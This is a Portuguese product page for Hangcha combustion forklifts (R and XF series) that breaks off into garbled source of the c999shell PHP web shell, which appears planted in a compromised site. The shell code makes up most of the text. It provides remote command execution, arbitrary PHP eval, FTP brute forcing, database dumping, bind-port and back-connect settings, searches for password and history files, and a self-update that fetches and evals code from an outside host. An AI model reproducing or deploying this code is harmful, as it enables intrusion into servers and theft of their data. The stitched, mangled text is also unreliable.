Linha Combustão
As empilhadeiras R SERIES da Hangcha compõem uma linha completa de empilhadeiras a combustão, movidas a Diesel, Gasolina ou GLP.

Equipadas com motores de combustão interna, essas empilhadeiras são máquinas fortes, robustas e com ótimo desempenho, perfeitas para trabalhos em armazéns fechados ou ao ar livre.

Os equipamentos movidos a gasolina ou GLP têm capacidade de carga variando entre 1000 kg a 7000 kg, e os equipamentos a diesel têm capacidade de carga variando de 1000 kg a 18000 kg.

XF SERIES

1.0 T a 3.5 T

Diesel/Gasolina/GLP

Com a nova linha de empilhadeiras XF Series, a Hangcha traz ao mercado equipamentos a combustão ainda mais econômicos, eficientes, confortáveis e menos poluentes.

XF SERIES

5.0 T a 7 T

Diesel/GLP

XF SERIES

8.0 T a 10 T

Diesel

_script type_

_script type_


_?php if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) _ explode(" ", microtime());
return ((float)$usec + (float)$sec);
}} error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win _ strtolower(substr(PHP_OS,0,3)) __ "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k_"") {if (is_array($arr)) {foreach($arr as $k__$v) {if (strtoupper($k) !_ "GLOBALS") {strips($arr["$k"]);
}}} else {$arr _ stripslashes($arr);
}}} strips($GLOBALS);
} $_REQUEST _ array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k__$v) {if (!isset($$k)) {$$k _ $v;
}} $shver _ "1.0 pre-release build #16";
if (!empty($unset_surl)) {setcookie("c999sh_surl");
$surl _ "";
} elseif (!empty($set_surl)) {$surl _ $set_surl;
setcookie("c999sh_surl",$surl);
} else {$surl _ $_REQUEST["c999sh_surl"];
} $surl_autofill_include _ TRUE;
if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include _ "&";
foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v _ explode("_",$v);
$name _ urldecode($v[0]);
$value _ urldecode($v[1]);
foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) ___ 0) {$includestr ._ urlencode($name)."_".urlencode($value)."&";
}}} if ($_REQUEST["surl_autofill_include"]) {$includestr ._ "surl_autofill_include_1&";
}} if (empty($surl)) { $surl _ "?".$includestr;
} $surl _ htmlspecialchars($surl);
$timelimit _ 0;
$login _ "";
$pass _ "";
$md5_pass _ "";
$host_allow _ array("*");
$login_txt _ "Restricted area";
$accessdeniedmess _ "_a href_\"http://ccteam.ru/releases/c999shell\"_c999shell v.".$shver."_/a_: access denied";
$gzipencode _ TRUE;
$updatenow _ FALSE;
$c999sh_updateurl _ "http://ccteam.ru/update/c999shell/";
$c999sh_sourcesurl _ "http://ccteam.ru/files/c999sh_sources/";
$filestealth _ TRUE;
$donated_html _ "_center__b_Owned by hacker_/b__/center_";
$donated_act _ array("");
$curdir _ "./";
$tmpdir _ "";
$tmpdir_log _ "./";
$log_email _ "user@host.tld";
$sort_default _ "0a";
$sort_save _ TRUE;
$ftypes _ array( "html"__array("html","htm","shtml"), "txt"__array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe"__array("sh","install","bat","cmd"), "ini"__array("ini","inf"), "code"__array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img"__array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb"__array("sdb"), "phpsess"__array("sess"), "download"__array("exe","com","pif","src","lnk","zip","rar","gz","tar") );
$exeftypes _ array( getenv("PHPRC")." -q %f%" __ array("php","php3","php4"), "perl %f%" __ array("pl","cgi") );
$regxp_highlight _ array( array(basename($_SERVER["PHP_SELF"]),1,"_font color_\"yellow\"_","_/font_"), array("config.php",1) );
$safemode_diskettes _ array("a");
$hexdump_lines _ 8;
$hexdump_rows _ 24;
$nixpwdperpage _ 100;
$bindport_pass _ "c999";
$bindport_port _ "31373";
$bc_port _ "31373";
$datapipe_localport _ "8081";
if (!$win) { $cmdaliases _ array( array("-----------------------------------------------------------", "ls -la"), array("find all suid files", "find / -type f -perm -04000 -ls"), array("find suid files in current dir", "find . -type f -perm -04000 -ls"), array("find all sgid files", "find / -type f -perm -02000 -ls"), array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("find config.inc.php files", "find / -type f -name config.inc.php"), array("find config* files", "find / -type f -name \"config*\""), array("find config* files in current dir", "find . -type f -name \"config*\""), array("find all writable folders and files", "find / -perm -2 -ls"), array("find all writable folders and files in current dir", "find . -perm -2 -ls"), array("find all service.pwd files", "find / -type f -name service.pwd"), array("find service.pwd files in current dir", "find . -type f -name service.pwd"), array("find all .htpasswd files", "find / -type f -name .htpasswd"), array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("find all .bash_history files", "find / -type f -name .bash_history"), array("find .bash_history files in current dir", "find . -type f -name .bash_history"), array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("list file attributes on a Linux second extended file system", "lsattr -va"), array("show opened ports", "netstat -an | grep -i listen") );
} else { $cmdaliases _ array( array("-----------------------------------------------------------", "dir"), array("show opened ports", "netstat -an") );
} $sess_cookie _ "c999shvars";
$usefsbuff _ TRUE;
$copy_unset _ FALSE;
$quicklaunch _ array( array("_img src_\"".$surl."act_img&img_home\" alt_\"Home\" height_\"20\" width_\"20\" border_\"0\"_",$surl), array("_img src_\"".$surl."act_img&img_back\" alt_\"Back\" height_\"20\" width_\"20\" border_\"0\"_","#\" onclick_\"history.back(1)"), array("_img src_\"".$surl."act_img&img_forward\" alt_\"Forward\" height_\"20\" width_\"20\" border_\"0\"_","#\" onclick_\"history.go(1)"), array("_img src_\"".$surl."act_img&img_up\" alt_\"UPDIR\" height_\"20\" width_\"20\" border_\"0\"_",$surl."act_ls&d_%upd&sort_%sort"), array("_img src_\"".$surl."act_img&img_refresh\" alt_\"Refresh\" height_\"20\" width_\"17\" border_\"0\"_",""), array("_img src_\"".$surl."act_img&img_search\" alt_\"Search\" height_\"20\" width_\"20\" border_\"0\"_",$surl."act_search&d_%d"), array("_img src_\"".$surl."act_img&img_buffer\" alt_\"Buffer\" height_\"20\" width_\"20\" border_\"0\"_",$surl."act_fsbuff&d_%d"), array("_b_Encoder_/b_",$surl."act_encoder&d_%d"), array("_b_Tools_/b_",$surl."act_tools&d_%d"), array("_b_Proc._/b_",$surl."act_processes&d_%d"), array("_b_FTP brute_/b_",$surl."act_ftpquickbrute&d_%d"), array("_b_Sec._/b_",$surl."act_security&d_%d"), array("_b_SQL_/b_",$surl."act_sql&d_%d"), array("_b_PHP-code_/b_",$surl."act_eval&d_%d"), array("_b_Update_/b_",$surl."act_update&d_%d"), array("_b_Feedback_/b_",$surl."act_feedback&d_%d"), array("_b_Self remove_/b_",$surl."act_selfremove"), array("_b_Logout_/b_","#\" onclick_\"if (confirm(\_Are you sure?\_)) window.close()") );
$highlight_background _ "#c0c0c0";
$highlight_bg _ "#FFFFFF";
$highlight_comment _ "#6A6A6A";
$highlight_default _ "#0000BB";
$highlight_html _ "#1300FF";
$highlight_keyword _ "#007700";
$highlight_string _ "#000000";
@$f _ $_REQUEST["f"];
@extract($_REQUEST["c999shcook"]);
@set_time_limit(0);
$tmp _ array();
foreach($host_allow as $k__$v) {$tmp[] _ str_replace("\\*",".*",preg_quote($v));
} $s _ "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("_a href_\"http://ccteam.ru/releases/cc999shell\"_c999shell_/a_: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");
} if (!empty($login)) { if (empty($md5_pass)) {$md5_pass _ md5($pass);
} if (($_SERVER["PHP_AUTH_USER"] !_ $login) or (md5($_SERVER["PHP_AUTH_PW"]) !_ $md5_pass)) { if (empty($login_txt)) {$login_txt _ strip_tags(ereg_replace(" 
|_br_"," ",$donated_html));
} header("WWW-Authenticate: Basic realm_\"c999shell ".$shver.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
} } if ($act !_ "img") { $lastdir _ realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean();
c999sh_getupdate($selfwrite,1);
exit;
} $sess_data _ unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data _ array();
} if (!is_array($sess_data["copy"])) {$sess_data["copy"] _ array();
} if (!is_array($sess_data["cut"])) {$sess_data["cut"] _ array();
} $disablefunc _ @ini_get("disable_functions");
if (!empty($disablefunc)) { $disablefunc _ str_replace(" ","",$disablefunc);
$disablefunc _ explode(",",$disablefunc);
} if (!function_exists("c999_buff_prepare")) { function c999_buff_prepare() { global $sess_data;
global $act;
foreach($sess_data["copy"] as $k__$v) {$sess_data["copy"][$k] _ str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));
} foreach($sess_data["cut"] as $k__$v) {$sess_data["cut"][$k] _ str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));
} $sess_data["copy"] _ array_unique($sess_data["copy"]);
$sess_data["cut"] _ array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act !_ "copy") {foreach($sess_data["cut"] as $k__$v) {if ($sess_data["copy"][$k] __ $v) {unset($sess_data["copy"][$k]);
}}} else {foreach($sess_data["copy"] as $k__$v) {if ($sess_data["cut"][$k] __ $v) {unset($sess_data["cut"][$k]);
}}} } } c999_buff_prepare();
if (!function_exists("c999_sess_put")) { function c999_sess_put($data) { global $sess_cookie;
global $sess_data;
c999_buff_prepare();
$sess_data _ $data;
$data _ serialize($data);
setcookie($sess_cookie,$data);
} } foreach (array("sort","sql_sort") as $v) { if (!empty($_GET[$v])) {$$v _ $_GET[$v];
} if (!empty($_POST[$v])) {$$v _ $_POST[$v];
} } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);
} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);
} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) _ $len) { $len _ ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
} else {return $content;
} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) {return FALSE;
} else { if ($size __ 1073741824) {$size _ round($size/1073741824*100)/100 ." GB";
} elseif ($size __ 1048576) {$size _ round($size/1048576*100)/100 ." MB";
} elseif ($size __ 1024) {$size _ round($size/1024*100)/100 ." KB";
} else {$size _ $size . " B";
} return $size;
} } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d _ str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) !_ DIRECTORY_SEPARATOR) {$d ._ DIRECTORY_SEPARATOR;
} $h _ opendir($d);
while (($o _ readdir($h)) !__ FALSE) { if (($o !_ ".") and ($o !_ "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret _ copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);
} else {$ret _ mkdir($t.DIRECTORY_SEPARATOR.$o);
fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);
} if (!$ret) {return $ret;
} } } closedir($h);
return TRUE;
} } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d _ str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t _ str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));
} if (is_dir($d)) { if (substr($d,-1) !_ DIRECTORY_SEPARATOR) {$d ._ DIRECTORY_SEPARATOR;
} if (substr($t,-1) !_ DIRECTORY_SEPARATOR) {$t ._ DIRECTORY_SEPARATOR;
} return fs_copy_dir($d,$t);
} elseif (is_file($d)) {return copy($d,$t);
} else {return FALSE;
} } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h _ opendir($d);
if (!is_dir($t)) {mkdir($t);
} while (($o _ readdir($h)) !__ FALSE) { if (($o !_ ".") and ($o !_ "..")) { $ret _ TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret _ copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);
} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret _ FALSE;
}} if (!$ret) {return $ret;
} } } closedir($h);
return TRUE;
} } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d _ str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t _ str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d)) { if (substr($d,-1) !_ DIRECTORY_SEPARATOR) {$d ._ DIRECTORY_SEPARATOR;
} if (substr($t,-1) !_ DIRECTORY_SEPARATOR) {$t ._ DIRECTORY_SEPARATOR;
} return fs_move_dir($d,$t);
} elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);
} else {unlink($t);
return FALSE;
} } else {return FALSE;
} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h _ opendir($d);
while (($o _ readdir($h)) !__ FALSE) { if (($o !_ ".") and ($o !_ "..")) { if (!is_dir($d.$o)) {unlink($d.$o);
} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR);
rmdir($d.$o);
} } } closedir($h);
rmdir($d);
return !is_dir($d);
} } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o _ str_replace("\\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o)) { if (substr($o,-1) !_ DIRECTORY_SEPARATOR) {$o ._ DIRECTORY_SEPARATOR;
} return fs_rmdir($o);
} elseif (is_file($o)) {return unlink($o);
} else {return FALSE;
} } } if (!function_exists("myshellexec")) { function myshellexec($cmd) { global $disablefunc;
$result _ "";
if (!empty($cmd)) { if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result);
$result _ join("\n",$result);
} elseif (($result _ `$cmd`) !__ FALSE) {} elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v _ @ob_get_contents();
@ob_clean();
system($cmd);
$result _ @ob_get_contents();
@ob_clean();
echo $v;
} elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v _ @ob_get_contents();
@ob_clean();
passthru($cmd);
$result _ @ob_get_contents();
@ob_clean();
echo $v;
} elseif (is_resource($fp _ popen($cmd,"r"))) { $result _ "";
while(!feof($fp)) {$result ._ fread($fp,1024);
} pclose($fp);
} } return $result;
} } if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v;
return strnatcmp($a[$v], $b[$v]);
}} if (!function_exists("view_perms")) { function view_perms($mode) { if (($mode & 0xC000) ___ 0xC000) {$type _ "s";
} elseif (($mode & 0x4000) ___ 0x4000) {$type _ "d";
} elseif (($mode & 0xA000) ___ 0xA000) {$type _ "l";
} elseif (($mode & 0x8000) ___ 0x8000) {$type _ "-";
} elseif (($mode & 0x6000) ___ 0x6000) {$type _ "b";
} elseif (($mode & 0x2000) ___ 0x2000) {$type _ "c";
} elseif (($mode & 0x1000) ___ 0x1000) {$type _ "p";
} else {$type _ "?";
} $owner["read"] _ ($mode & 00400)?"r":"-";
$owner["write"] _ ($mode & 00200)?"w":"-";
$owner["execute"] _ ($mode & 00100)?"x":"-";
$group["read"] _ ($mode & 00040)?"r":"-";
$group["write"] _ ($mode & 00020)?"w":"-";
$group["execute"] _ ($mode & 00010)?"x":"-";
$world["read"] _ ($mode & 00004)?"r":"-";
$world["write"] _ ($mode & 00002)? "w":"-";
$world["execute"] _ ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] _ ($owner["execute"] __ "x")?"s":"S";
} if ($mode & 0x400) {$group["execute"] _ ($group["execute"] __ "x")?"s":"S";
} if ($mode & 0x200) {$world["execute"] _ ($world["execute"] __ "x")?"t":"T";
} return $type.join("",$owner).join("",$group).join("",$world);
} } if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;
}} if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;
}} if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;
}} if (!function_exists("parse_perms")) { function parse_perms($mode) { if (($mode & 0xC000) ___ 0xC000) {$t _ "s";
} elseif (($mode & 0x4000) ___ 0x4000) {$t _ "d";
} elseif (($mode & 0xA000) ___ 0xA000) {$t _ "l";
} elseif (($mode & 0x8000) ___ 0x8000) {$t _ "-";
} elseif (($mode & 0x6000) ___ 0x6000) {$t _ "b";
} elseif (($mode & 0x2000) ___ 0x2000) {$t _ "c";
} elseif (($mode & 0x1000) ___ 0x1000) {$t _ "p";
} else {$t _ "?";
} $o["r"] _ ($mode & 00400) _ 0;
$o["w"] _ ($mode & 00200) _ 0;
$o["x"] _ ($mode & 00100) _ 0;
$g["r"] _ ($mode & 00040) _ 0;
$g["w"] _ ($mode & 00020) _ 0;
$g["x"] _ ($mode & 00010) _ 0;
$w["r"] _ ($mode & 00004) _ 0;
$w["w"] _ ($mode & 00002) _ 0;
$w["x"] _ ($mode & 00001) _ 0;
return array("t"__$t,"o"__$o,"g"__$g,"w"__$w);
} } if (!function_exists("parsesort")) { function parsesort($sort) { $one _ intval($sort);
$second _ substr($sort,-1);
if ($second !_ "d") {$second _ "a";
} return array($one,$second);
} } if (!function_exists("view_perms_color")) { function view_perms_color($o) { if (!is_readable($o)) {return "_font color_red_".view_perms(fileperms($o))."_/font_";
} elseif (!is_writable($o)) {return "_font color_white_".view_perms(fileperms($o))."_/font_";
} else {return "_font color_green_".view_perms(fileperms($o))."_/font_";
} } } if (!function_exists("c999getsource")) { function c999getsource($fn) { global $c999sh_sourcesurl;
$array _ array( "c999sh_bindport.pl" __ "c999sh_bindport_pl.txt", "c999sh_bindport.c" __ "c999sh_bindport_c.txt", "c999sh_backconn.pl" __ "c999sh_backconn_pl.txt", "c999sh_backconn.c" __ "c999sh_backconn_c.txt", "c999sh_datapipe.pl" __ "c999sh_datapipe_pl.txt", "c999sh_datapipe.c" __ "c999sh_datapipe_c.txt", );
$name _ $array[$fn];
if ($name) {return file_get_contents($c999sh_sourcesurl.$name);
} else {return FALSE;
} } } if (!function_exists("c999sh_getupdate")) { function c999sh_getupdate($update _ TRUE) { $url _ $GLOBALS["c999sh_updateurl"]."?version_".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow_".($updatenow?"1":"0")."&";
$data _ @file_get_contents($url);
if (!$data) {return "Can\_t connect to update-server!";
} else { $data _ ltrim($data);
$string _ substr($data,3,ord($data{2}));
if ($data{0} __ "\x99" and $data{1} __ "\x01") {return "Error: ".$string;
return FALSE;
} if ($data{0} __ "\x99" and $data{1} __ "\x02") {return "You are using latest version!";
} if ($data{0} __ "\x99" and $data{1} __ "\x03") { $string _ explode("\x01",$string);
if ($update) { $confvars _ array();
$sourceurl _ $string[0];
$source _ file_get_contents($sourceurl);
if (!$source) {return "Can\_t fetch update!";
} else { $fp _ fopen(__FILE__,"w");
if (!$fp) {return "Local error: can\_t write update to ".__FILE__."! You may download c999shell.php manually _a href_\"".$sourceurl."\"__u_here_/u__/a_.";
} else {fwrite($fp,$source);
fclose($fp);
return "Thanks! Updated with success.";
} } } else {return "New version are available: ".$string[1];
} } elseif ($data{0} __ "\x99" and $data{1} __ "\x04") {eval($string);
return 1;
} else {return "Error in protocol: segmentation failed! (".$data.") ";
} } } } if (!function_exists("mysql_dump")) { function mysql_dump($set) { global $shver;
$sock _ $set["sock"];
$db _ $set["db"];
$print _ $set["print"];
$nl2br _ $set["nl2br"];
$file _ $set["file"];
$add_drop _ $set["add_drop"];
$tabs _ $set["tabs"];
$onlytabs _ $set["onlytabs"];
$ret _ array();
$ret["err"] _ array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");
} if (empty($db)) {$db _ "db";
} if (empty($print)) {$print _ 0;
} if (empty($nl2br)) {$nl2br _ 0;
} if (empty($add_drop)) {$add_drop _ TRUE;
} if (empty($file)) { $file _ $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
} if (!is_array($tabs)) {$tabs _ array();
} if (empty($add_drop)) {$add_drop _ TRUE;
} if (sizeof($tabs) __ 0) { $res _ mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) _ 0) {while ($row _ mysql_fetch_row($res)) {$tabs[] _ $row[0];
}} } $out _ "# Dumped by c999Shell.SQL v. ".$shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
$c _ count($onlytabs);
foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out ._ "DROP TABLE IF EXISTS `".$tab."`;
\n";
} $res _ mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] _ mysql_smarterror();
} else { $row _ mysql_fetch_row($res);
$out ._ $row["1"].";
\n\n";
$res _ mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) _ 0) { while ($row _ mysql_fetch_assoc($res)) { $keys _ implode("`, `", array_keys($row));
$values _ array_values($row);
foreach($values as $k__$v) {$values[$k] _ addslashes($v);
} $values _ implode("\_, \_", $values);
$sql _ "INSERT INTO `$tab`(`".$keys."`) VALUES (\_".$values."\_);
\n";
$out ._ $sql;
} } } } } $out ._ "#---------------------------------------------------------------------------------\n\n";
if ($file) { $fp _ fopen($file, "w");
if (!$fp) {$ret["err"][] _ 2;
} else { fwrite ($fp, $out);
fclose ($fp);
} } if ($print) {if ($nl2br) {echo nl2br($out);
} else {echo $out;
}} return $out;
} } if (!function_exists("mysql_buildwhere")) { function mysql_buildwhere($array,$sep_" and",$functs_array()) { if (!is_array($array)) {$array _ array();
} $result _ "";
foreach($array as $k__$v) { $value _ "";
if (!empty($functs[$k])) {$value ._ $functs[$k]."(";
} $value ._ "\_".addslashes($v)."\_";
if (!empty($functs[$k])) {$value ._ ")";
} $result ._ "`".$k."` _ ".$value.$sep;
} $result _ substr($result,0,strlen($result)-strlen($sep));
return $result;
} } if (!function_exists("mysql_fetch_all")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result _ mysql_query($query,$sock);
} else {$result _ mysql_query($query);
} $array _ array();
while ($row _ mysql_fetch_array($result)) {$array[] _ $row;
} mysql_free_result($result);
return $array;
} } if (!function_exists("mysql_smarterror")) { function mysql_smarterror($type,$sock) { if ($sock) {$error _ mysql_error($sock);
} else {$error _ mysql_error();
} $error _ htmlspecialchars($error);
return $error;
} } if (!function_exists("mysql_query_form")) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error _ "Query was empty";
} echo "_b_Error:_/b_ _br_".$sql_query_error."_br_";
} if ($sql_query_result or (!$sql_confirm)) {$sql_act _ $sql_goto;
} if ((!$submit) or ($sql_act)) { echo "_table border_0__tr__td__form name_\"c999sh_sqlquery\" method_POST__b_";
if (($sql_query) and (!$submit)) {echo "Do you really want to";
} else {echo "SQL-Query";
} echo ":_/b__br__br__textarea name_sql_query cols_100 rows_10_".htmlspecialchars($sql_query)."_/textarea__br__br__input type_hidden name_act value_sql__input type_hidden name_sql_act value_query__input type_hidden name_sql_tbl value_\"".htmlspecialchars($sql_tbl)."\"__input type_hidden name_submit value_\"1\"__input type_hidden name_\"sql_goto\" value_\"".htmlspecialchars($sql_goto)."\"__input type_submit name_sql_confirm value_\"Yes\"_ 
_input type_submit value_\"No\"__/form__/td_";
if ($tbl_struct) { echo "_td valign_\"top\"__b_Fields:_/b__br_";
foreach ($tbl_struct as $field) {$name _ $field["Field"];
echo "» _a href_\"#\" onclick_\"document.c999sh_sqlquery.sql_query.value+_\_`".$name."`\_;
\"__b_".$name."_/b__/a__br_";
} echo "_/td__/tr__/table_";
} } if ($sql_query_result or (!$sql_confirm)) {$sql_query _ $sql_last_query;
} } } if (!function_exists("mysql_create_db")) { function mysql_create_db($db,$sock_"") { $sql _ "CREATE DATABASE `".addslashes($db)."`;
";
if ($sock) {return mysql_query($sql,$sock);
} else {return mysql_query($sql);
} } } if (!function_exists("mysql_query_parse")) { function mysql_query_parse($query) { $query _ trim($query);
$arr _ explode (" ",$query);
$types _ array( "SELECT"__array(3,1), "SHOW"__array(2,1), "DELETE"__array(1), "DROP"__array(1) );
$result _ array();
$op _ strtoupper($arr[0]);
if (is_array($types[$op])) { $result["propertions"] _ $types[$op];
$result["query"] _ $query;
if ($types[$op] __ 2) { foreach($arr as $k__$v) { if (strtoupper($v) __ "LIMIT") { $result["limit"] _ $arr[$k+1];
$result["limit"] _ explode(",",$result["limit"]);
if (count($result["limit"]) __ 1) {$result["limit"] _ array(0,$result["limit"][0]);
} unset($arr[$k],$arr[$k+1]);
} } } } else {return FALSE;
} } } if (!function_exists("c999fsearch")) { function c999fsearch($d) { global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) !_ DIRECTORY_SEPARATOR) {$d ._ DIRECTORY_SEPARATOR;
} $h _ opendir($d);
while (($f _ readdir($h)) !__ FALSE) { if($f !_ "." && $f !_ "..") { $bool _ (empty($a["name_regexp"]) and strpos($f,$a["name"]) !__ FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
if (is_dir($d.$f)) { $search_i_d++;
if (empty($a["text"]) and $bool) {$found[] _ $d.$f;
$found_d++;
} if (!is_link($d.$f)) {c999fsearch($d.$f);
} } else { $search_i_f++;
if ($bool) { if (!empty($a["text"])) { $r _ @file_get_contents($d.$f);
if ($a["text_wwo"]) {$a["text"] _ " ".trim($a["text"])." ";
} if (!$a["text_cs"]) {$a["text"] _ strtolower($a["text"]);
$r _ strtolower($r);
} if ($a["text_regexp"]) {$bool _ ereg($a["text"],$r);
} else {$bool _ strpos(" ".$r,$a["text"],1);
} if ($a["text_not"]) {$bool _ !$bool;
} if ($bool) {$found[] _ $d.$f;
$found_f++;
} } else {$found[] _ $d.$f;
$found_f++;
} } } } } closedir($h);
} } if ($act __ "gofile") {if (is_dir($f)) {$act _ "ls";
$d _ $f;
} else {$act _ "f";
$d _ dirname($f);
$f _ basename($f);
}} @ob_start();
@ob_implicit_flush(0);
function onphpshutdown() { global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { $v _ @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
} } function c999shexit() { onphpshutdown();
exit;
} header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check_0, pre-check_0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir)) { $tmpdir _ ini_get("upload_tmp_dir");
if (is_dir($tmpdir)) {$tmpdir _ "/tmp/";
} } $tmpdir _ realpath($tmpdir);
$tmpdir _ str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) !_ DIRECTORY_SEPARATOR) {$tmpdir ._ DIRECTORY_SEPARATOR;
} if (empty($tmpdir_logs)) {$tmpdir_logs _ $tmpdir;
} else {$tmpdir_logs _ realpath($tmpdir_logs);
} if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) __ "on") { $safemode _ TRUE;
$hsafemode _ "_font color_red_ON (secure)_/font_";
} else {$safemode _ FALSE;
$hsafemode _ "_font color_green_OFF (not secure)_/font_";
} $v _ @ini_get("open_basedir");
if ($v or strtolower($v) __ "on") {$openbasedir _ TRUE;
$hopenbasedir _ "_font color_red_".$v."_/font_";
} else {$openbasedir _ FALSE;
$hopenbasedir _ "_font color_green_OFF (not secure)_/font_";
} $sort _ htmlspecialchars($sort);
if (empty($sort)) {$sort _ $sort_default;
} $sort[1] _ strtolower($sort[1]);
$DISP_SERVER_SOFTWARE _ getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE ._ ". PHP/".phpversion();
} $DISP_SERVER_SOFTWARE _ str_replace("PHP/".phpversion(),"_a href_\"".$surl."act_phpinfo\" target_\"_blank\"__b__u_PHP/".phpversion()."_/u__/b__/a_",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg);
@ini_set("highlight.comment",$highlight_comment);
@ini_set("highlight.default",$highlight_default);
@ini_set("highlight.html",$highlight_html);
@ini_set("highlight.keyword",$highlight_keyword);
@ini_set("highlight.string",$highlight_string);
if (!is_array($actbox)) {$actbox _ array();
} $dspact _ $act _ htmlspecialchars($act);
$disp_fullpath _ $ls_arr _ $notls _ null;
$ud _ urlencode($d);

?__html__head__meta http-equiv_"Content-Type" content_"text/html;
charset_windows-1251"__meta http-equiv_"Content-Language" content_"en-us"__title_
_?php echo getenv("HTTP_HOST");

?_ - phpshell_/title__STYLE_TD { FONT-SIZE: 8pt;
COLOR: #ebebeb;
FONT-FAMILY: verdana;
}BODY { scrollbar-face-color: #800000;
scrollbar-shadow-color: #101010;
scrollbar-highlight-color: #101010;
